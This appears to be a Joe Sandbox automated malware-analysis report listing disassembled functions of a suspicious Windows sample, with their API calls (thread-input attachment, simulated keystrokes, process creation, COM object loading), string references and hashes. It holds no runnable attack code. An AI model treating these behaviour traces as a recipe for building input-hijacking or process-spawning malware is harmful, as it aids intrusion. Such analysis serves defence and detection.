Part of subcall function 000DB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 000DB0E7

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 000D95DF
GetDlgCtrlID.USER32 ref: 000D95EA
GetParent.USER32 ref: 000D9606
SendMessageW.USER32(00000000,?,00000111,?), ref: 000D9609
GetDlgCtrlID.USER32(?), ref: 000D9612
GetParent.USER32(?), ref: 000D962E
SendMessageW.USER32(00000000,?,?,00000111), ref: 000D9631

Strings

ComboBox, xrefs: 000D9569
ListBox, xrefs: 000D959E

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 26a0c5fc3064919d690d1e6adc8db966567c86f3df02759c2ef05c5448a756b5
Instruction ID: 97d4ac547a8a9b15c26aa0584a62a993bd369570dd897b765ee91d5af7baf638
Opcode Fuzzy Hash: 26a0c5fc3064919d690d1e6adc8db966567c86f3df02759c2ef05c5448a756b5
Instruction Fuzzy Hash: C021C574900204BBDF15AB60CCC5EFEBBB8FF58300F14012AF951972A6DBB5995ADB20

Function 000D9645 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 000D9651
GetClassNameW.USER32(00000000,?,00000100), ref: 000D9666
_wcscmp.LIBCMT ref: 000D9678
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 000D96F3

Strings

largeicons, xrefs: 000D9687
details, xrefs: 000D96A1
list, xrefs: 000D96D5
SHELLDLL_DefView, xrefs: 000D9672
smallicons, xrefs: 000D96BB

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: e81084c3921e68b1fc8d2ea0c3295c47b377374f2615150b2dd11bc15ee46ce7
Instruction ID: dd8ab8bb41b3292119fe98ba159dac85cc13d4c1fc13282b71178128c183416f
Opcode Fuzzy Hash: e81084c3921e68b1fc8d2ea0c3295c47b377374f2615150b2dd11bc15ee46ce7
Instruction Fuzzy Hash: 8111AC77248317BAFA112660DC07DE677DC9F05760F200127F900A55D2FFD2E9915B68

Function 000F8BC0 Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 000F8BEC
CoInitialize.OLE32(00000000), ref: 000F8C19
CoUninitialize.OLE32 ref: 000F8C23
GetRunningObjectTable.OLE32(00000000,?), ref: 000F8D23
SetErrorMode.KERNEL32(00000001,00000029), ref: 000F8E50
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,00112C0C), ref: 000F8E84
CoGetObject.OLE32(?,00000000,00112C0C,?), ref: 000F8EA7
SetErrorMode.KERNEL32(00000000), ref: 000F8EBA
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 000F8F3A
VariantClear.OLEAUT32(?), ref: 000F8F4A

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: 6789ca24e613fd518f1e575a33096c2bf0956c28d5042c71358d32d6001ef0e3
Instruction ID: 4984b84b589a3bde185183f09124babf63e578cc33230524d1b8870765fd8ca9
Opcode Fuzzy Hash: 6789ca24e613fd518f1e575a33096c2bf0956c28d5042c71358d32d6001ef0e3
Instruction Fuzzy Hash: 77C13571204309AFD700EF64C8849AAB7E9BF89348F00892DF6899B651DB71ED46CB52

Function 000E4189 Relevance: 15.1, APIs: 10, Instructions: 108windowCOMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 000E419D
__swprintf.LIBCMT ref: 000E41AA

Part of subcall function 000A38D8: __woutput_l.LIBCMT ref: 000A3931

FindResourceW.KERNEL32(?,?,0000000E), ref: 000E41D4
LoadResource.KERNEL32(?,00000000), ref: 000E41E0
LockResource.KERNEL32(00000000), ref: 000E41ED
FindResourceW.KERNEL32(?,?,00000003), ref: 000E420D
LoadResource.KERNEL32(?,00000000), ref: 000E421F
SizeofResource.KERNEL32(?,00000000), ref: 000E422E
LockResource.KERNEL32(?), ref: 000E423A
CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 000E429B

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
String ID:
API String ID: 1433390588-0
Opcode ID: 99986d8ddac5fa8c36cba2dfd47664d8d623acbf5539861a5f6728c7b39202ac
Instruction ID: 76fdd18bc1f62520c63d66048d9f684033dd2b73c770d06622a0de636eab0afd
Opcode Fuzzy Hash: 99986d8ddac5fa8c36cba2dfd47664d8d623acbf5539861a5f6728c7b39202ac
Instruction Fuzzy Hash: 4831D4B590525AAFCB11DFA1DC49EBF7BACEF09301F004529F901E6550D770D992CBA0

Function 000E16DE Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000E1700
GetForegroundWindow.USER32(00000000,?,?,?,?,?,000E0778,?,00000001), ref: 000E1714
GetWindowThreadProcessId.USER32(00000000), ref: 000E171B
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,000E0778,?,00000001), ref: 000E172A
GetWindowThreadProcessId.USER32(?,00000000), ref: 000E173C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,000E0778,?,00000001), ref: 000E1755
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,000E0778,?,00000001), ref: 000E1767
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,000E0778,?,00000001), ref: 000E17AC
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,000E0778,?,00000001), ref: 000E17C1
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,000E0778,?,00000001), ref: 000E17CC

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 0cb0b8250ca09f6f9fc619c45e2fc98d35034d89179a356f20bd036f8cba8b62
Instruction ID: 840a82463d0ccb25e94a780360c62e88321727fcfb13d2d10529fad83689e6ce
Opcode Fuzzy Hash: 0cb0b8250ca09f6f9fc619c45e2fc98d35034d89179a356f20bd036f8cba8b62
Instruction Fuzzy Hash: AA31B1B9608244BFDB22DF15DC85BA977F9EB5AB51F104019F840E6AE0DBB09D848B90

Function 000DA693 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,000DAA64), ref: 000DA9A2

Strings

REGEXPCLASS, xrefs: 000DA767
INSTANCE, xrefs: 000DA8B0
CLASSNN, xrefs: 000DA744
CLASS, xrefs: 000DA721
NAME, xrefs: 000DA7D4
TEXT, xrefs: 000DA8D9

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: f02561a324ca5d43d5182de4a484d49a9ee0430877d363497cce75e7c2732a46
Instruction ID: 70a7438d58d0ec7ea2b824e89027d22f79a9b3cc41602a8ba1a86b358913216c
Opcode Fuzzy Hash: f02561a324ca5d43d5182de4a484d49a9ee0430877d363497cce75e7c2732a46
Instruction Fuzzy Hash: A391D971700706DBDB58DFA0C491BEDF7B5BF06300F54811AE899A7242DF306A59CBA1

Function 00082E26 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00082EAE

Part of subcall function 00081DB3: GetClientRect.USER32(?,?), ref: 00081DDC
Part of subcall function 00081DB3: GetWindowRect.USER32(?,?), ref: 00081E1D
Part of subcall function 00081DB3: ScreenToClient.USER32(?,?), ref: 00081E45

GetDC.USER32 ref: 000BCF82
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 000BCF95
SelectObject.GDI32(00000000,00000000), ref: 000BCFA3
SelectObject.GDI32(00000000,00000000), ref: 000BCFB8
ReleaseDC.USER32(?,00000000), ref: 000BCFC0
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 000BD04B

Strings

U, xrefs: 000BCF20

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 396da72092dd22e68d2a78550c4b26f5deeed89c7d04c18f3b7be4b39517b358
Instruction ID: da6869a8e96c39e7f422ba3cbabbf02bf571b91f7fd91e35f89fab426a7339fd
Opcode Fuzzy Hash: 396da72092dd22e68d2a78550c4b26f5deeed89c7d04c18f3b7be4b39517b358
Instruction Fuzzy Hash: 8771C130400205DFDF61AF64C884AFA7BF6FF49324F1442AAED955A2A6D7318882DB61

Function 0010C27C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00082612: GetWindowLongW.USER32(?,000000EB), ref: 00082623

Part of subcall function 00082344: GetCursorPos.USER32(?), ref: 00082357
Part of subcall function 00082344: ScreenToClient.USER32(001467B0,?), ref: 00082374
Part of subcall function 00082344: GetAsyncKeyState.USER32(00000001), ref: 00082399
Part of subcall function 00082344: GetAsyncKeyState.USER32(00000002), ref: 000823A7

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?), ref: 0010C2E4
ImageList_EndDrag.COMCTL32 ref: 0010C2EA
ReleaseCapture.USER32 ref: 0010C2F0
SetWindowTextW.USER32(?,00000000), ref: 0010C39A
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 0010C3AD
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?), ref: 0010C48F

Strings

@GUI_DROPID, xrefs: 0010C3E1
@GUI_DRAGFILE, xrefs: 0010C424

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: b6cb063412c5781a2c05c72feae6488124cc533a7cf37545bf5735711f0ef91f
Instruction ID: d5bb413d56016dfcad9e1b7cdadfb632c903b679583f08d7d02317a16b4a507c
Opcode Fuzzy Hash: b6cb063412c5781a2c05c72feae6488124cc533a7cf37545bf5735711f0ef91f
Instruction Fuzzy Hash: 24519B74204301AFD714EF14C896FAA7BE5FB89314F00462DF5958B2F2DBB09985CB52

Function 000F8F5B Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,0010F910), ref: 000F903D
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,0010F910), ref: 000F9071
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 000F91EB
SysFreeString.OLEAUT32(?), ref: 000F9215

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: 9b8e71869133c25f9e92e8026aaa8e34d3d6d4f65f485ca2e2b289857761dd75
Instruction ID: 7b5ca699ffa8340126998c176763954968aefa33d0fddb78bbb327ab3a9d858c
Opcode Fuzzy Hash: 9b8e71869133c25f9e92e8026aaa8e34d3d6d4f65f485ca2e2b289857761dd75
Instruction Fuzzy Hash: 4CF12971A00209EFDB54DF94C888EBEB7B9FF89314F108069FA15AB651CB31AE45DB50

Function 000FF9A8 Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 000FF9C9
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 000FFB5C
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 000FFB80
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 000FFBC0
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 000FFBE2
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 000FFD5E
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 000FFD90
CloseHandle.KERNEL32(?), ref: 000FFDBF
CloseHandle.KERNEL32(?), ref: 000FFE36

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: cde49dcd5d90287efd8ae93fc9528f3a80cd3329f2f01784dc081b7a9726d96c
Instruction ID: ccbf592b98d00bd698407d0f389e7fe0f40e15ac376fb1271f1eef9bb37ff90e
Opcode Fuzzy Hash: cde49dcd5d90287efd8ae93fc9528f3a80cd3329f2f01784dc081b7a9726d96c
Instruction Fuzzy Hash: E3E1E531204305DFC724EF24C881ABABBE1BF85354F18846DF9999B6A2CB71DC41DB52

Function 000E4F63 Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 000E48AA: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,000E38D3,?), ref: 000E48C7

Part of subcall function 000E48AA: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,000E38D3,?), ref: 000E48E0

Part of subcall function 000E4CD3: GetFileAttributesW.KERNEL32(?,000E3947), ref: 000E4CD4

lstrcmpiW.KERNEL32(?,?), ref: 000E4FE2
_wcscmp.LIBCMT ref: 000E4FFC
MoveFileW.KERNEL32(?,?), ref: 000E5017

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: ad45e1c15003b99fbe5428914e56a14fc58c38018c63ade4743b9b789a9dceac
Instruction ID: b8abf2f2cc2ac1b78e31dc09d2e91a9e63d470cd6ce2e18ae145949f466481b8
Opcode Fuzzy Hash: ad45e1c15003b99fbe5428914e56a14fc58c38018c63ade4743b9b789a9dceac
Instruction Fuzzy Hash: 135151B20087859FC664EBA0CC819DFB3ECAF85341F10492EB189D7152EF74E2888766

Function 001088B4 Relevance: 13.7, APIs: 9, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 0010896E

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 627d7aad9652b6ddd3e77e2b4aec2538981b915c36080d37354144f1a56ad67a
Instruction ID: fcd9d3d09b907a0369294acd7bf938d195905aeae38ac73239bdbfd8d4266e7f
Opcode Fuzzy Hash: 627d7aad9652b6ddd3e77e2b4aec2538981b915c36080d37354144f1a56ad67a
Instruction Fuzzy Hash: 6D518130608208FADF34AF28CC85BA97B65BB15324F604126F5D5E79E1DFF1A9808B91

Function 00082B72 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 000BC547
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 000BC569
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 000BC581
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 000BC59F
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 000BC5C0
DestroyIcon.USER32(00000000), ref: 000BC5CF
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 000BC5EC
DestroyIcon.USER32(?), ref: 000BC5FB

Part of subcall function 0010A71E: DeleteObject.GDI32(00000000), ref: 0010A757

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: 34a42bb04b19c44cc0d15e5f25a0b2bbb24f50d84599e6802b116be5b4ffea4a
Instruction ID: 9c80762bbe5a5fd22366a76267e592a22ca32259f9d83f0635703c2c880f74fb
Opcode Fuzzy Hash: 34a42bb04b19c44cc0d15e5f25a0b2bbb24f50d84599e6802b116be5b4ffea4a
Instruction Fuzzy Hash: 0D514874600609EFDB20EF24CC45FAA37E5FB54750F104528F982A76A0DBB0ED91DB50

Function 000D9B50 Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 000DAE57: GetWindowThreadProcessId.USER32(?,00000000), ref: 000DAE77
Part of subcall function 000DAE57: GetCurrentThreadId.KERNEL32 ref: 000DAE7E
Part of subcall function 000DAE57: AttachThreadInput.USER32(00000000,?,000D9B65,?,00000001), ref: 000DAE85

MapVirtualKeyW.USER32(00000025,00000000), ref: 000D9B70
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 000D9B8D
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 000D9B90
MapVirtualKeyW.USER32(00000025,00000000), ref: 000D9B99
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 000D9BB7
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 000D9BBA
MapVirtualKeyW.USER32(00000025,00000000), ref: 000D9BC3
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 000D9BDA
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 000D9BDD

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: cc48cfc2b9255d0d4192653531a902f5c85f2edf125bf35f1cf809a959b54da4
Instruction ID: 9e92877f6ea1c2193f25adddd7547e91b1d09f3ca119a8223c9837accb18ab30
Opcode Fuzzy Hash: cc48cfc2b9255d0d4192653531a902f5c85f2edf125bf35f1cf809a959b54da4
Instruction Fuzzy Hash: 47114C71500314BEF6202F20DC4AFAA3F2CEB0C755F11042AF284AB590CAF35C51DAB0

Function 000D8E03 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,000D8A84,00000B00,?,?), ref: 000D8E0C
HeapAlloc.KERNEL32(00000000,?,000D8A84,00000B00,?,?), ref: 000D8E13
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,000D8A84,00000B00,?,?), ref: 000D8E28
GetCurrentProcess.KERNEL32(?,00000000,?,000D8A84,00000B00,?,?), ref: 000D8E30
DuplicateHandle.KERNEL32(00000000,?,000D8A84,00000B00,?,?), ref: 000D8E33
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,000D8A84,00000B00,?,?), ref: 000D8E43
GetCurrentProcess.KERNEL32(000D8A84,00000000,?,000D8A84,00000B00,?,?), ref: 000D8E4B
DuplicateHandle.KERNEL32(00000000,?,000D8A84,00000B00,?,?), ref: 000D8E4E
CreateThread.KERNEL32(00000000,00000000,000D8E74,00000000,00000000,00000000), ref: 000D8E68

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

